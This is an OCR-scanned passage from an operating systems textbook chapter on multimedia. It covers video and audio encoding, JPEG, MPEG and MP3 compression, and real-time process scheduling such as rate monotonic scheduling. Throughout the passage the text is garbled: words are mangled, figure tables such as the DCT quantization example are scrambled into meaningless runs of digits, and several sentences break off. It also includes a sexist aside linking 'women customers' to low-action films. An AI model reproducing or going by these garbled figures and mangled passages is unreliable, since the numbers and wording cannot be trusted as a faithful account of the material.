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together bound the jitter), and bit loss probability- For example, a network opera

tor could offer a service guaranteeing an average bandwidth of 4 Mbps, 99% of 

the transmission delays in the interval 105 to 1 10 msec, and a bit loss rate of 

10-10, which would be fine for MPEG-2 movies. The operator could also offer a 

cheaper, lower-grade service, with an average bandwidth of 1 Mbps (e.g., ADSL), 

in which case the quality would have to be compromised somehow, possibly by 

lowering the resolution, dropping the frame rate, or discarding the color infor

mation and showing the movie in black and white. 

The most common way to provide quality of service guarantees is to reserve 

capacity in advance for each new customer. The resources reserved include a por

tion of the CPU, memory buffers, disk transfer capacity, and network bandwidth. 

If a new customer comes along and wants to watch a movie, but the video server 

or network calculates that it does not have sufficient capacity for another custo

mer. it has to reject the new customer to avoid degrading the service being pro

vided to current customers. As a consequence, multimedia servers need resource 

reservation schemes and an admission control algorithm to decide when they 

can handle more work. 

7.2 MULTIMEDIA FILES 

In most systems, an ordinary text file consists of a linear sequence of bytes 

without any structure that the operating system knows about or cares about. With 

multimedia, the situation is more complicated. To start with, video and audio are 

completely different. They are captured by distinct devices (CCD chip versus mi

crophone). have a different internal structure (video has 25-30 frames/sec; audio 

has 44,100 samples/sec), and they are played back by different devices (monitor 

versuS loudspeakers). 
Furthermore, most Hollywood movies are now aimed at a worldwide audi-

ence, most of which does not speak English. The latter point is dealt with in one 

of two ways. For some countries. an additional sound track is produced, with the 

voices dubbed into the local language (but not the sound effects). In Japan, all 

televisions have two sound channels to allow the viewer to listen to foreign films 

in either the original language or in Japanese. A button on the remote control is 
used for language selection. In still other countries, the original sound track is 

used, with subtitles in the local language. 

In addition, many TV movies now provide closed-caption subtitles in English 

as well, to allow English-speaking but hearing-impaired people to watch the 

movie. The net result is that a digital movie may actually consist of many files: 

one video file, multiple audio files. and multiple text files with subtitles in various 

languages. DVDs have the capability for storing up to 32 language and subtitle 

files. A simple set of multimedia files is shown in Fig. 7-3. We will explain the 

meaning of fast forward and fast backward later in this chapter. 
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Frame 

2 3 4 5 6 7 8 
Video 111 11 1 II '� 11 1 I I H I  U I 
English audio 

French audio 

German audio 

English subtitles Hello.8ob Nice day 

Dutch subtitles Oag, Bob Oag,AJ;ce MOOe dag 

Sure ;$ How are you Gr!!a! 

Jazeker Hoe gaat hel Prima 

An<:lyou 

Enjij Go� 

Fast forward 

Fast backward 

1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1  
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1  r 1 1 1 1 1 1  . 

Figure 7-3. A movie may consist of several files. 
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looking at discrete images. All vi�eo� �nd film-based motion picture systems 

exploit this principle to produce m�vl�g PI�tu��. 
start with simple old-fashioned 
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Figure 74. The scanning pattern used for NTSC video and television. 
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increase the frame rate, which would require using more scarce bandwidth, a dif
ferent approach is taken. Instead of displaying the scan lines in order from top to 
bottom, first all the odd scan lines are displayed, then the even ones are displayed. 
Each of these half frames is called a field. Experiments have shown that although 
people notice flicker at 25 frames/sec, they do not notice it. at 50 fields/sec. This 
technique is called interlacing. Noninterlaced television or video is said to be 
progressive. 

Color video uses the same scanning pattern as monochrome (black and white), 
except that instead of displaying the image with one moving beam, three beams 
moving in unison are used. One beam is used for each of the three additive pri
mary colors: red, green, and blue (ROB). This technique works because any color 
can be constructed from a linear superposition of red, green, and blue with the 
appropriate intensities. Howev.er, for transmission on a single channel, the three 
color signals must be combined into a single composite signal. 

To allow color transmissions to be viewed on black-and-white receivers, all 
three systems linearly combine the RGB signals into a luminance (brightness) 
signal, and two chrominance (color) Signals, although they all use different coef
ficients for constructing these signals from the RGB signals. Oddly enough, the 
eye is much more sensitive to the luminance signal than to the chrominance sig
nals, so the latter need not be transmitted as accurately. Consequently, the lumi� 
nance signal can be broadcast at the same frequency as the old black-and-white 
signal, so it can be received on black-and-white television sets. The two chromi
nance signals are broadcast in narrOw bands at higher frequencies. Some televi
sion sets have knobs or controls labeled brightness, hue, and saturation (or bright
ness, tint and color) for control1ing these three signals separately. Understanding 
luminance and chrominance is necessary for understanding how video compres� 
sian works. 

So far we have looked at analog video. Now let us turn to digital video. The 
simplest representation of digital video is a sequence of frames, each consisting of 
a rectangular grid of picture elements, or pixels. For color video, 8 bits per pixel 
are used for each of the RGB colors, giving 224 :::: 16 million colors, which is 
enough. The human eye cannot even distinguish this many colors, let alone more. 

To produce smooth motion, digital video, like analog video, must display at 
least 25 frames/sec. However, since good quality computer monitors often rescan 
the screen from images stored in video RAM at 75 times per second or more, 
interlacing is not needed. Consequently, all computer monitors use progressive 
scanning. Just repainting (i.e., redrawing) the same frame three times in a row is 
enough to eliminate flicker. 

In other words, smoothness of motion is detennined by the number of dif
ferent images per second, whereas flicker is determined by the number of times 
the screen is painted per second. These two parameters are different. A still 
image painted at 20 frames/sec will not show jerky motion but it will flicker be
cause one frame will decay from the retina before the next one appears. A movie 
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with 20 different frames per second, each of which is painted four times in a row 
at 80 Hz, will not flicker. but the motion will appear jerky. . 

The si crnificance of these two parameters becomes clear when we consIder the 
bandwidth

�
required for transmitting digital video ?ver a n�twork. Many compu�er 

monitors use the 4:3 aspect ratio so they can use mexpensIve, mass-produced PIC
ture tubes designed for the consumer television market. Common configurations 
are 640 x 480 (VGA), 800 x 600 (SVGA), 1024 x 768 (XGA), and 1600 x 1200 
(UXGA). A UXGA display with 24 bits per pixel and 25 frames!sec needs to be 
fed at 1.2 Gbps, but even a VGA display needs 184 Mbps. DoublIng these rates to 
avo"d flicker is not attractive. A better solution is to transmit 25 frames/sec and 
hav� the computer store each one and paint it twice. Broadcast televisio� does 
not use this strategy because television sets do not have memory, and m any 
event, analog signals cannot be stored in RAM without first conve:ting th�m �o 
digital form, which requi�es extra hardwa�.

. 
As

. a consequence, mterlacmg IS 
needed for broadcast televIsion but not for dIgItal vIdeo. 

7.2,2 Audio Encoding 

An audio (sound) wave is a one-dimensional acoustic (pressure) wave. When 
an acoustic wave enters the ear, the eardrum vibrates, causing the tin� bones of 
the inner ear to vibrate along with it, sending nerve pulses to the bram. The�e 
pulses are perceived as sound by the listener. In a similar way: whe� an acoustIC 
wave strikes a microphone, the microphone generates an electncal SIgnal, repres
entinu the sound amplitude as a function of time. The frequency range of the human ear runs f:om 20 Hz to 20,000 Hz;

. 
son:e 

animals, notably dogs, can hear higher frequenCIes. The ear hears �oganthnu
cally, so the ratio of two sounds with amplitudes A and B is conventionally ex
pressed in dB (decibels) according to the formula 

dB = 20 10g!O(AIB) 

If we define the lower limit of audibility (a pressure of about 0.0003 dyne/cmz) 
for a I-kHz sine wave as 0 dB, an ordinary conversation is abou� �O dB and t�e 
pain threshold is about 120 dB, a dynamic range of a factor of I m1llIon. To aVOld 
any confusion, A and B above are amplitudes. I! we were to use .the power level, 
which is proportional to the square of the amplItude, the coefficient of the loga
rithm would be 10, not 20. 

Audio waves can be converted to digital form by an ADC (Analog Digital 
Converter). An ADC takes an electrical voltage as input and generates a binary 
number as output. In Fig. 7-5(a) we see an example of a sine wave. To represent 
this siana! digitally, we can sample it every b.T seconds, as shown by the bar 
height; in Fig. 7-5(b). If a sound wave is not a pure sine wave, but a 1i�ear 
superposition of sine waves where the highest frequency co�ponent present IS j, 
then it is sufficient to make samples at a frequency 2f. ThIS result was proven 
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mathematically by a physicist at Bell Labs, Harry Nyquist, in 1924 and is known 
as the Nyquist theorem. Sampling more often is of no value since the higher fre
quencies that such sampling could detect are not present. 

: ��� 0.50 
0.25 

0 
-{J.25 
-{J.50 
-0.75 
-1.00 

T T 

(a) (b) (e) 

Figure 7-5. (a) A sine wave. (b) Sampling the sine wave. (c) Quantizing the 
samples to 4 bits. 

Digital samples are never exact. The samples of Fig. 7-5(c) allow only nine 
values, from -1.00 to +1.00 in steps of 0.25. Consequently, 4 bits are needed to 
represent all of them. An 8-bit sample would anow 256 distinct values.' A 16-bit 
sample would allow 65,536 distinct values. The error introduced by the finite 
number of bits per sample is called the quantization noise. If it is too large, the 
ear detects it. 

Two well-known examples of sampled sound are the telephone and audio 
compact discs. Pulse code modulation is used within the telephone system and 
uses 7-bit (North America and Japan) or 8-bit (Europe) samples 8000 times per 
second. This system gives a data rate of 56,000 bPs or 64,000 bps. With only 
8000 samples/sec, frequencies above 4 kHz are lost. 

Audio CDs are digital with a sampling rate of 44,100 samples/sec, enough to 
capture frequencies up to 22,050 Hz, which is good for people, bad for dogs. The 
samples are 16 bits each, and are linear over the range of amplitudes. Note that 
16-bit samples allow only 65,536 distinct values, even though the dynamic range 
of the ear is about 1 million when measured in steps of the smallest audible sound. 
Thus using only 16 bits per sample introduces some quantization noise (although 
the full dynamic range is not covered-CDs are not supposed to hurt). With 
44,100 samples/sec of 16 bits each, an audio CD needs a bandwidth of 705.6 Kbps 
for monaural and 1.411 Mbps for stereo (see Fig. 7-2). Audio compression is pos
sible based on psychoacoustic models of how human hearing· works. A compres
sion of lOx is possible using the MPEG layer 3 (MP3) system. Portable music 
players for this format have been common in reCent years. 

Digitized sound can easily be processed by computers in software. Dozens of 
programs exist for personal computers to allow users to record, display, edit, mix, 
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and store sound waves from multiple sources. Virtually all professional sound re
cording and editing is digital nowadays. Analog is pretty much dead. 

7.3 VIDEO COMPRESSION 

It should be obvious by now that manipulating multimedia rna.terial in un
compressed form is completely out of the question-it is much too big. The only 
hope is that massive compression is possible. Fortunately.' a large. body of re
search over the past few decades has led to many compressIOn techm�ues an� al
Gorithms that make multimedia transmission feasible. In the followmg sectlOns �ve will study some methods for compressing multimedia data, especiaUy images. 
For more detail, see (Fluckiger, 1995; and Steinmetz and Nahrstedt, 19?5). 

All compression systems require two algorithms: one for �o�pressmg th� data 
at the source, and another for decompressing them at the destmatton. In the lItera
ture, these algorithms are referred to as the encoding and decoding algorithms, 
respectively. We will use this terminology here, too. 

These algorithms have certain asymmetries that are important. to t1:nderstand. 
First, for many applications, a multimedia document, say, a mOVl� WIll only be 
encoded once (when it is stored on the multimedia server) but wlll be decoded 
thousands of times (when it is viewed by customers). This asymmetry means that 
it is acceptable for the encoding algorithm to be slow and require ex�ensive ha�d
ware provided that the decoding algorithm is fast and does not re�U1re expenSIve 
hardware. On the other hand, for real-time multimedia, such as VIdeo conferenc
ing, slow encoding is unacceptable. Encoding must happen on-the-fly, in real 
time. 

A second asymmetry is that the encode/decode process need not be 100% 
invertible. That is, when compressing a file, transmitting it, and then deco

.
mpre�s

ing it, the user expects to get the original back, accurate down to the last bIt. WIth 
multimedia, this requirement does not exist. It is usually acceptable to have 

.
t�e 

video signal after encoding and then decoding be slightly different than the ongI
nal. When the decoded output is not exactly equal to the original input, the sys
tem is said to be lossy, All compression systems used for multimedia are lossy 
because they give much better compression. 

7.3.1 The JPEG Standard 

The JPEG (JOint Photographic Experts Group) standard for compressing 
continuous-tone still pictures (e.g., photographs) was developed by photographIc 
experts working under the joint auspices of lTD, ISO, and IEC, another standards 
body. It is important for multimedia because, to a first approximatio�, the multi
media standard for moving pictures, MPEG, is just the JPEG en�odmg of e�ch 
frame separately, plus some extra features for interframe compressIOn and motIon 
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compensation. JPEG is defined in International Standard 10918. It has four 
modes �nd many

. 
options, but we will only be concerned with the way it is used 

for 24-blt RGB VIdeo and will leave out many of the details. �te� 1 of encoding an image with JPEG is block preparation. For the sake of 
s�ecl�clty, let us as�ume that the JPEG input is a 640 x 480 RGB image with 24 
bIts/pIxel, as sh�wn m Fig. 7�6(a). Since using luminance and chrominance gives 
better compresslOn, the lummance and two chrorninance signals are computed 
from the RGB values. For NTSC they are called Y, J, and Q, respectively. For 
PAL they are called Y, U, and V, respectively, and the formulas are different 
Below we will use the NTSC names, but the compression algorithm is the same. 

AGB 
640 

." ....... ---_ .... _--............ ---
(aJ 24-Bit pixel 

y 

l� 
Block 

Figure 7-6. (a) ROB input data. (b) After block preparation, 

Separate matrices are constructed for Y, I, and Q, each with elements in the 
rang� 0 to 255. Next, square blocks of four pixels are averaged in the I and Q 
ma�nces. to �educe them to 320 x 240. This reduction is lossy, but the eye barely 
notIces it SInce the eye responds to luminance more than to chrominance. 
Nevertheless, it compresses the data by a factor of two. Now 128 is subtracted 
from each element of all three matrices to put 0 in the middle of the range. Final
ly, each matrix is divided up into 8 x 8 blocks. The Y matrix has 4800 blocks' the 
other two have 1200 blocks each, as shown in Fig. 7-6(b), 

' 

Step 2 of JPEG is to apply a DCT (Discrete Cosine Transfonnation) to each 
of the 7200 blocks separately. The output of each DCT is an 8 x 8 matrix of DCT 
coefficients. DCT element (0, 0) is the average value of the block. The other ele
ments tell how mu.c� spectral power is present at each spatial frequency. For 
those readers famIlIar with Fourier transforms, a DCT is a kind of two
�imens!ona1 sp�tial F�urier transform. In theory, a nCT is. 10ss1ess, but in prac
tice usmg floatIng-pomt numbers and transcendental functions introduces some 
roundoff error that reSults in a little information loss. Nonnally, these elements 
decay rapidly with distance from the Origin, (0, 0), as suggested by Fig. 7-7(b). 

. 
Onc� the �CT is complete, JPEG moves on to step 3, which is called quanti

zatIOn, m WhICh the less important nCT coefficients are wiped out. This (lossy) 
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Figure 7-7. (a) One block of the Ymatrix. (b) The DeT coefficients. 

f f n is done by dividing each of the coefficients in the 8 x 8 DCT �a� tr�ns
b 
or

:��� ht taken from a table. If all the weights are 1, the tra�s�orm�tlOn tn
d 

x 
Y thO 

g 
However if the weio-hts increase sharply from the ongm, hlgher oes no mg. , . to 

spatial frequencies are dropped qUIckly. th . "fal DCT ma-An example of this step is given in Fig. 7-8. Here ,,:e
. 
s�e e 1m 1 

. ntization table and the result obtained by dlvldmg each DCT e�em�nt tnx, the qua ' . . table element The values in the quantiZatiOn b th sponding quantIzatIon · . 
Yb1 

e corre 
t part of the JPEG standard. Each application must suppl� . Its own ��a:ti��i:� table, giving it the ability to control its own loss-compressIOn trade

off. 

C ff · Quantized coefficients Quantization table 
OCT oe IClen s 

4 1 0 0 0 11E 132 , 64 0 150 80 20 132 ! 64 150 80 40 14  4 2 1 92 75 18 3 1 0 0 0 92 75 '" 10  6 1 0 0 " 132 164 26 19 13 2 1 0 0 0 52 38 26 8 7 4 0 0 14 fii 1 64 3 2 2 1 0 0 0 0 12 8 6 4 2 1 0 0 rs 1 64 0 1 0 0 0 0 0 0 0 �� � � 4 3 2 0 0 0 0 I1s fi6 I "  0 0 0 0 0 0 0 0 0 2 2 1 1 0 0 0 f32 f32 I" 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 Ie4 Ie4 16' 1 64 1 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 

Figure 7�8. Computation of the quantized Dcr coefficients. 

Step 4 reduces the (0, 0) value of each block (the one in the upp�r left-hand 
) b eplacino- it with the amount it differs from the correspondmg element �o�� r;v;ous blo�k. Since these elements are the averages of their respective ��OCks,Pthey should change slowly, so taking the differential values should reduce 
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most of them to small values. No differentials are computed from the other val
ues. The (0, 0) values are referred to as the DC components; the other values are 
the AC components. 

Step 5 linearizes the 64 elements and applies run-length encoding to the list. 
Scanning the block from left to right and then top to bottom will not concentrate 
the zeros together, so a zig-zag scanning pattern is used, as shown in Fig. 7-9. In 
this example, the zig-zag pattern ultimately produces 38 consecutive Os at the end 
of the matrix. This string can be reduced to a single count saying there are 38 
zeros. 

Figure 7-9. The order in which the quantized values are transmitted. 

Now we have a list of numbers that represent the image (in transfonn space). 
Step 6 uses Huffman encoding on the numbers for storage or transmission. 

JPEG may seem complicated, but that is because it is complicated. Still, 
since it often produces a 20: 1 compression or better, it is widely used. Decoding a 
JPEG image requires running the algorithm backward. JPEG is roughly sym
metric: it takes about as long to decode an image as to encode it. 

7.3.2 The MPEG Standard 

Finally, we come to the heart of the matter: the MPEG (Motion Picture 
Experts Group) standards. These are the main algorithms used to compress 
videos and have been international standards since 1993. MPEG-l (International 
Standard 1 1 172) was designed for video recorder-quality output (352 x 240 for 
NTSC) using a bit rate of 1.2 Mbps. MPEG-2 (International Standard 13818) was 
designed for compressing broadcast quality video into 4 to 6 Mbps, so it could fit 
in a NTSC or PAL broadcast channeL 

Both versions take advantages of the two kinds of redundancies that exist in 
movies: spatial and temporal. Spatial redundancy can be utilized by simply cod
ing each frame separately with JPEG. Additional compression can be achieved by 
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taking advantage of the fact that consecutive frames are often a��ost identical 
(temporal redundancy). The DV (Digital Video) system used by dIgItal camcord
ers uses only a JPEG-like scheme because encodmg has to be done m real ume 
and it is much faster to just encode each frame separately. The consequences of 
this decision can be seen in Fig. 7-2: although digital camcorders have a lower 
data rate than uncornpressed video, they are not nearly as good as full M�EG-2. 
(To keep the comparison honest, note that DV camcorders sample the lummance 
with 8 bits and each chrominance signal with 2 bits, but there is still a factor of 
five compression using the IPEG-like encoding.) 

For scenes where the camera and background are rigidly stationary and one or 
two actors are moving around slowly, nearly all the pixels will ?e identical from 
frame to frame. Here, just subtracting each frame from the prevIous one and run
ning JPEG on the difference would do fine. However, for scen�s where t�e cam
era is panning or zooming, this teChnique fails badly. What IS needed l� some 
way to compensate for this motion. This is precisely what MPEG does; III fact, 
this is the main difference between MPEG and JPEG. 

MPEG-2 output consists of three different kinds of frames that have to be 
processed by the viewing program: 

1. I (Intracoded) frames: Self-contained JPEG-encoded still pictures. 

2. P (Predictive) frames: Block-by-block difference with the last frame. 

3. B (Bidirectional) frames: Differences with the last and next frame. 

I-frames are just still pictures coded using JPEG, also. using. full-resolution 
luminance and half-resolution chrominance along each aXIS. It IS necessar� to 
have I-frames appear in the output stream periodically for thre: re�sons .

. 
FIrst, 

MPEG can be used for television broadcasting, with viewers tumng In at Wlll. If 
all frames depended on their predecessors going back to the first frame, anybo�y 
who missed the first frame could never decode any subsequent frames. ThIS 
would make it impossible for viewers to tune in after the movie had started. Sec
ond, if any frame were received in error, no further decod�ng would be possible. 
Third, without I-frames, while doing a fast forward or rewmd, the decoder would 
have to calculate every frame passed over so it would know the full value of th� 
one it stopped on. With I-frames, it is possible to skip forward or backward unul 
an I-frame is found and start viewing there. For these reasons, I-frames are 
inserted into the output once or twice per second. . P-frames, in contrast, code interframe differences. They are based on the ?dea 
of macroblocks, which cover 16 x 16 pixels in luminance space and 8 x 8 pixels 
in chrominance space. A macroblock is encoded by searching the previous frame 
for it or something only slightly different from it. 

An example of where P-frames would be useful is given in Fig. �-1O . . Here 
we see three consecutive frames that have the same background, but dIffer m the 
position of one person. Such scenes are common when the camera is fixed on a 
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tripod and the actors

. 
move around in front of it. The macroblocks containing the b�ckground sc�ne w�l� match exactly, but the macroblocks containing the person WIll be offset III pOSItIon by some unknown amount and will have to be tracked down. 

Figure 7-10. Three consecutive video frames. 

The MPEG standard does not specify how to search, how far to search, or how good .a match has to be to count. This is up to each implementation. For example, �n Implementation might search for a macroblock at the current position in the pre."Iou� frame, and all other positions offset ±Lix in the x direction and ±8 y in the y dIreCtion. For each pOSition, the number of matches in the luminance matrix could be computed. The position with the highest score would be declared the winner, provided it was above some predefined threshold. Otherwise, the macroblock would be said to be missing. Much more sophisticated alO"orithms are also possible, of course. Q 
If a macroblock is found, it is encoded by taking the difference with its value in the previous frame (for luminance and both chrominances). These difference matrices are then subject to the IPEG encoding. The value for the macroblock in the output stream is then the motion vector (how far the macroblock moved from its previous position in each direction), followed by the IPEG-encoded differences with the one in the previous frame. If the macroblock is not located in the previous frame, the current value is encoded with IPEG, just as in an I-frame. B-frames are similar to P-frames, except that they allow the reference macroblo.ck to be in either a previous frame or a succeeding frame, either in an I-frame or l� a P-frame. This additional freedom allows improved motion compensation, and IS a.lso useful when objects pass in front of, or behind, other Objects. For example, In a baseball game, when the third baseman throws the ball to first base there ma� be some frame where the ball obscures the head of the moving second baseman In the background. In the next frame, the head may be partially visible to the left of the ball, with the next approximation of the head beine- derived from the fonowing frame when the ball is now past the head. B--frames Qallow a frame to be based on a future frame. 

To do B-frame encoding, the encoder needs to hold three decoded frames in memory at the same time: the past one, the current one, and the future one. To simplify decoding, frames must be present in the MPEG stream in dependency 
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order, rather than in display order. Thus even with perfect timing, when a video is 
viewed over a network, buffering is required on the user's machine to reorder the 
frames for proper display. Due to this difference between dependency order and 
display order, trying to play a moyie backward will not work without considerable 
buffering and complex algorithms. 

Films with lots of action and rapid cutting (such as war films), require many 
IMframes. Films in which the director can point the camera and then go out for 
coffee while the actors recite their lines (such as love slories) can use long runs of 
P-frames and B-frames, which use far less storage than I-frames. From a disk
efficiency point of view, a company running a multimedia service should there
fore try to get as many women customers as possible. 

7.4 AUDIO COMPRESSION 

CD-quality audio requires a transmission bandwidth of 1.411 Mbps, as we just 
saw. Clearly, substantial compression is needed to make transmission over the In
ternet practical. For this reason, various audio compression algorithms have been 
developed. Probably the most popular one is MPEG audio, which has three layers 
(variants), of which MP3 (MPEG audio layer 3) is the most powerful and best 
known. Large amounts of music in MP3 fonnat are available on the Internet, not 
all of it legal, which has resulted in numerous lawsuits from the artists and copy
right owners. MP3 belongs to the audio portion of the MPEG video compr�ssion 
standard. 

Audio compression Can be done in one of two ways. In waveform coding the 
signal is transfonned mathematically by a Fourier transform into its frequency 
components. Figure 7-11 shows an example function of time and its first 15 
Fourier amplitudes. The amplitude of each component is then encoded in a 
minimal way. The goal is to reproduce the waveform accurately at the other end 
in as few bits as possible. 

The other way, perceptual coding, exploits certain flaws in the human audi
tory system to encode a signal in such a way that it sounds the same to a human 
listener, even if it looks quite different on an oscilloscope. Perceptual coding is 
based on the science of psychoacoustics-how people perceive sound. MP3 is 
based On perceptual coding. 

The key property of perceptual coding is that some sounds can mask other 
sounds. Imagine you are broadcasting a live flute concert on a warm summer day. 
Then all of a sudden, a crew of workmen nearby tum on their jackhammers and 
start tearing up the street. No one can hear the flute any more. Its sounds have 
been masked by the jackhammers. For transmission purposes, it is now sufficient 
to encode just the frequency band used by the jackhammers because the listeners 
cannot hear the flute anyway. This is called frequency masking-the ability of a 
loud sound in one frequency band to hide a softer sound in another frequency 
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band that would have been audible in the absence of the loud sound. I� fact, e:en 
after the jackhammers stop, the flute will be inaudible fO: a short pen?d �f tIme 
because the ear turns down its gain when they start and It takes a fimte Hme to 
turn it up again. This effect is called temporal masking. . . To make these effects more quantitative, imagine expenment 1. A person In a 
quiet room puts on headphones connected to a computer's soun� card . . The com
puter generates a pure sine wave at 100 Hz at low but gradually mcreasmg power. 
The person is instructed to strike a key when she hears the tone. The computer 
records the current power level and then repeats the experimen� at 200 Hz, 300 
Hz and all the other frequencies up to the limit of human heanng. When aver
ag�d over many people, a log-log graph of how much power it takes fo� a tone :0 
be audible looks like that of Fig. 7-12(a). A direct consequence of thIS curve IS 
that it is never necessary to encode any frequencies whose power falls below �e 
threshold of audibility. For example, if the power at 100 Hz were 20 dB m 
Fia. 7-12(a), it could be omitted from the output with no perceptible loss of quaI
it; because 20 dB at 100 Hz falls below the level of audibility. 
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Figure 7-12. (a) The threshold of audibility as a function of frequency. (b) The 
masking effect. 

Now consider experiment 2. The computer runs experiment 1 again, but this 
time with a constant-amplitude sine wave at, say, 150 Hz, superimposed on the 
test frequency. What we discover is that the threshold of audibility for frequen
cies near 150 Hz is raised, as shown in Fig. 7-12(b). 

The consequence of this new observation is that by keeping track of which 
signals are being masked by more powerful signals in .nearby fr�que�cy band�, we 
can omit more and more frequencies in the encoded SIgnal, savmg bItS. In FIg. :-
12, the 125-Hz signal can be completely omitted from th� output an� no one wIll 
be able to hear the difference. Even after a powerful SIgnal stops m some fre
quency band, knowledge of its temporal masking properties allows us to continue 
to omit the masked frequencies for some time interval as the ear recovers. The 
essence of MP3 encoding is to Fourier-transform the sound to get the power at 
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�ach frequency and then transmit only the unmasked frequencies, encoding these m as few bits as possible. 
With this information as background, we can now see how the encodino- is done. The audio compression is done by sampling the waveform at 32 kHz, 44.1 kHz, or 48 kHz. The first and last are nice round numbers. The 44.1 kHz value is the one us�d �or audi� CDs and was chosen because it is good enough to capture all the audIO mformatlOn the human ear can pick up. Sampling can be done on one or twa channels, in any of four configurations: 
1 .  Monophonic (a single input stream). 

2. Dual monophonic (e.g., an English ilnd a Japanese soundtrack). 

3. Disjoint stereo (each �hannel compressed separately). 

4. Joint stereo (interchannel redundancy fully exploited). 

First, the output bit rate is chosen. MP3 can compress a stereo rock 'n roll 
CD down to 96 kbps with little perceptible loss in quality, even for rock 'n roll 
fans wi� no hearing loss. For a piano concert, at least 128 kbps are needed. 
These ?lffer because

. 
the sign�l-to-noise ratio for rock 'n roll is much higher than 

for a plano concert (m an engmeering sense, at least w). It is also possible to 
choose lower output rates and accept Some loss in quality. 

• 

Then th� samples are processed in groups of 1 152 (about 26 msec worth). 
Each group IS first passed through 32 digital filters to get 32 frequency bands. At 
the same time, the input is fed into a psychoacoustic model in order to deterrnine 
the masked frequencies. Next, each of the 32 frequency bands is further trans
fonned to provide a finer spectral resolution. 

In :he next phase the available bit budget is divided among the bands, with 
�ore bIts allocated to the bands with the most unmasked spectral power, fewer 
bIts allocated to unmasked bands with less spectral power, and no bits allocated to 
ma�ked bands. Finally, the bits are encoded using Huffman encoding, which 
aSSIgns short codes to numbers that appear frequently and long codes to those that 
occur infrequently. 

There is actually more to the story. Various techniques are also used for noise 
reduction, antialiasing, and exploiting the interchannel redundancy, if possible, 
but these are beyond the scope of this book. 

7.5 MULTIMEDIA PROCESS SCHEDULING 

Operating systems that support multimedia differ from traditional ones in �ee main
. 
ways: process sc�eduling. the file system, and disk scheduling. We 

WIll start v:Ith process schedulmg here and continue with the other topics in subse
quent sectIOns. 
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7.5.1 Scheduling Homogeneous Processes 

The simplest kind of video server is one that can support the display of a fixed 

number of movies, all using the same frame rate, video resolution, data rate, and 

other parameters. Under these circumstances, a simple, but effective scheduling 

algorithm is as follows. For each movie, there is a single process (or thread) 

whose job it is to read the movie from the disk one frame at a time and then trans

mit that frame to the user. Since all the processes are equally important, have the 

same amount of work to do per frame, and block when they have finished proc

essing the current frame, round-robin scheduling does the job just fine. The only 

addition needed to standard scheduling algorithms is a timing mechanism to make 

sure each process runs at the correct frequency. 

One way to achieve the proper timing is to have a master clock that ticks at, 

say, 30 times per second (for NTSC). At every tick, all the processes are run se

quentially, in the same order. When a process has completed its work, it issues a 

suspend system call that releases the CPU until the master clock ticks again. 

When that happens, all the processes are ron again in the same order. As long as 

the number of processes is small enough that all the work can be done in one 

frame time, round-robin scheduling is sufficient. 

7.5.2 General Real-Time Scheduling 

Unfortunately, this model is rarely applicable in reality. The number of usets 

changes as viewers come and go, frame sizes vary wildly due to the nature of 

video compression (I-frames are much larger than P- or B-frames), and different 

movies may have different resolutions. As a consequence, different processes 

may have to run at different frequencies, with different amounts of work, and with 

different deadlines by which the work must be completed. 

These considerations lead to a different model: multiple processes competing 

for the CPU, each with its own work and deadlines. In the following models, we 

will assume that the system knows the frequency at which each process must run, 

how much work it has to do, and what its next deadline is. (Disk scheduling is 

also an issue, but we will consider that later.) The scheduling of multiple compet

ing processes, some or all of which have deadlines that must be met is called 

real.time scheduling. 
As an example of the kind of environment a real-time multimedia scheduler 

works in, consider the three processes, A, B, and C shown in Fig. 7-13. Process A 

runs every 30 msec (approximately l\TTSC speed). Each frame requires 10 msec 

of CPU time. In the absence of competition, it would run in the bursts AI,  A2, A3, 

etc., each one starting 30 msec after the previous one. Each CPU burst handles 

one frame and has a deadline: it must complete before the next one is to start. 

Also shown in Fig. 7-13 are two other processes, B and C. Process B runs 25 

times/sec (e.g., PAL) and process C runs 20 times/sec (e.g., a slowed down NTSC 
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The scheduling question now is how to schedule • 
they meet their respective deadlines B fj 
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Sec. 2.4.4, that if process i has 
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���

y 
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. 
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process that is in danger of missing its deadl�ne is al.lo,,:,ed to interrupt th� :unning 
processes before the running process �as fims�ed :vl�h Its fra�e. When 

,
It �s done, 

the previous process can continue. ThIS behavIor IS }ust mulupr?grarnml�o' as we 
have seen before. We will study preemptable real-tIme schedulmg algor:thms be
cause there is no objection to them in multimedia systems �nd th�y gIVe bet�er 
performance than nonpreemptable ones. The only

. 
concern IS that If a transrms

sion buffer is being filled in little bursts, the buffer IS completel� fu�� by th� dead
line so it can be sent to the user in a single operation. OtherwIse JItter nught be 
introduced. . . 

Real-time algorithms can be either static or dynamic. Static algontt:ms assign 
each process a fixed priority in advance and then do prioritized preemptIve

. 
sc?�d

uling using those priorities. Dynamic algorithms do not have fixed pnonlles. 
Below we will study an example of each type. 

7.5.3 Rate Monotonic Scheduling 

The classic static real-time scheduling algorithm for preemptable, periodic 
processes is RMS (Rate Monotonic Scheduling) (Liu and Layland, 1973). It can 
be used for processes that meet the followmg conditIOns: 

1. Each periodic process must complete within its period. 

2. No process is dependent on any other process. 

3. Each process needs the same amount of CPU time on each burst. 

4. Any nonperiodic processes have no deadlines. 

5. Process preemption occurs instantaneously and with no overhead. 

The first four conditions are reasonable. The last one is not, of course, but it 
makes modeling the system much easier. RMS works 

.by a�sign.
ing each process a 

fixed priority equal to the frequency of occurrence of Its tnggenng eve�t.. For ex
ample, a process that must run every 30 msec (33 times/�ec! gets pnonty 33, a 
process1hat must run every 40 msec (25 times/sec) g�ts.

pnonty 25, an� a.�rocess 
that must run every 50 msec (20 times/sec) gets pnonty 20. The pr:o�tIes ar� 
thus linear with the rate (number of times/second the process runs). This IS why It 
is called rate monotonic. At run time, the scheduler always runs the highest prior
ity ready process, preempting the running proces� if need �e. Liu �nd Layland 
proved that R.J.\1S is optimal among the class of statIc schedulmg

. 
algonthms. 

Figure 7-14 shows how rate monotonic scheduling works m the exampl� of 
Fig. 7-13. Processes A, B, and C have static priorities, 33, 25, �nd 20, respective
ly, which means that whenever A needs to run, it runs, preemptmg any other proc
ess currently using the CPU. Process B can preempt C, but not A. Process C has 
to wait until the CPU is otherwise idle in order to run. 
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Figure 7�14. An example of RMS and EDF real-time scheduling. 

